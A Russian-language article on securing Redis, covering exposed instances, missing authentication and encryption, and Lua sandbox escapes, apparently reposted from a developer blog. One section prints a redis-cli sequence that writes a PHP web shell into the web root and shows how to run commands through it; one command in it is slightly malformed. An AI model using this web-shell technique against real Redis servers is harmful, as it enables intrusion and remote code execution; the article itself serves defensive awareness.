Взлом Redis

Redis расшифровывается как REmote DIctionary Server. Это база данных in-memory, которая хранит информацию с помощью пар ключ-значение.

Действительно, он предоставляет множество более продвинутых возможностей и функций, таких как архитектура «ведущий-ведомый» и Redis Cluster.

Однако Redis часто используется как простая система кэширования или брокер сообщений.

Это фантастическая технология во многих аспектах, но проблемы с безопасностью возникают, когда пользователи придерживаются стандартных конфигураций или открывают серверы Redis.

Не раскрывайте экземпляры Redis

Многие установки для удобства выставляют экземпляры Redis в Интернет, позволяя любому получить доступ к серверу через порт по умолчанию 6379.

Вы можете проверить это с помощью следующих команд:

sudo apt install redis-tools
redis-cli -h {IP} PING
Войти в полноэкранный режим Выйти из полноэкранного режима

Успешным ответом будет «PONG», но вы можете попробовать другие команды в своем тесте.

Даже если экземпляр использует другой порт, фреймворки, такие как Metasploit, включают специальные модули для автоматизации перечисления.

В худшем случае (или в лучшем, если вы атакующий ^^) нет ни правил брандмауэра, ни аутентификации. CTF любят эмулировать такую неправильную конфигурацию, что, к сожалению, вполне реально.

Только доверенные клиенты должны быть разрешены.

N.B.:Следует отметить, что последние версии Redis включают «защищенный режим» (начиная с версии 3.2.0), который направлен на исправление установок, которые все еще используют конфигурации по умолчанию.

Почему и как злоумышленники взламывают серверы Redis

Redis может быть взломан по разным причинам, но наиболее распространенными являются:

  • инъекции веб-оболочки
  • повышение привилегий
  • кража данных (например, дамп базы данных).

Именно поэтому документация Redis рекомендует отключить полный доступ к набору команд. Один из самых распространенных хаков, используемых в CTF и пен-тестах, основан на команде CONFIG:

{IP}:6379> config set /var/www/html
{IP}:6379> config set dbfilename webshell.php
{IP}:6379> set test "<?php system($_REQUEST['cmd']); ?>"
{IP}:6379> save
Войти в полноэкранный режим Выйти из полноэкранного режима

Злоумышленник может использовать ее для передачи произвольных команд в новый файл:

http://{IP}/webshell.php?cmd={COMMAND}
Войти в полноэкранный режим Выйти из полноэкранного режима

Другой подход заключается в создании неавторизованного SSH-доступа с помощью таких инструментов, как Redis-Server-Exploit.

Аутентифицированные эксплойты

Очень плохие конфигурации позволяют неавторизованным противникам передавать несанкционированные команды и вмешиваться в работу экземпляра Redis.

Рекомендуется запретить анонимные подключения.

Хотя нередко серверы Redis используют слабые пароли, что не намного лучше.

Данные по умолчанию не шифруются

Redis предоставляет уровень для аутентификации, который можно настроить в файле redis.conf. Если эта функция включена, администратор может установить надежный пароль с помощью команды AUTH.

Это дополнительный уровень на случай, если другие средства защиты не сработают, но по умолчанию шифрование отсутствует, поэтому любой злоумышленник, которому удалось прослушать сетевой трафик, теоретически сможет перехватывать сообщения.

Выход из песочницы Lua

Киберпреступники могут использовать уязвимые библиотеки для внедрения RCE (Remote Code Execution) через Redis.

Например, Redis позволяет пользователям выполнять сценарии Lua.
Если сервер использует устаревшие зависимости, это может привести к неприятным последствиям.

Некоторые CTF, например этот, эмулируют такую атаку.

Подведение итогов

Не отказывайтесь от безопасности Redis и убедитесь, что ваши экземпляры обновлены.

Оцените статью
devanswers.ru
Добавить комментарий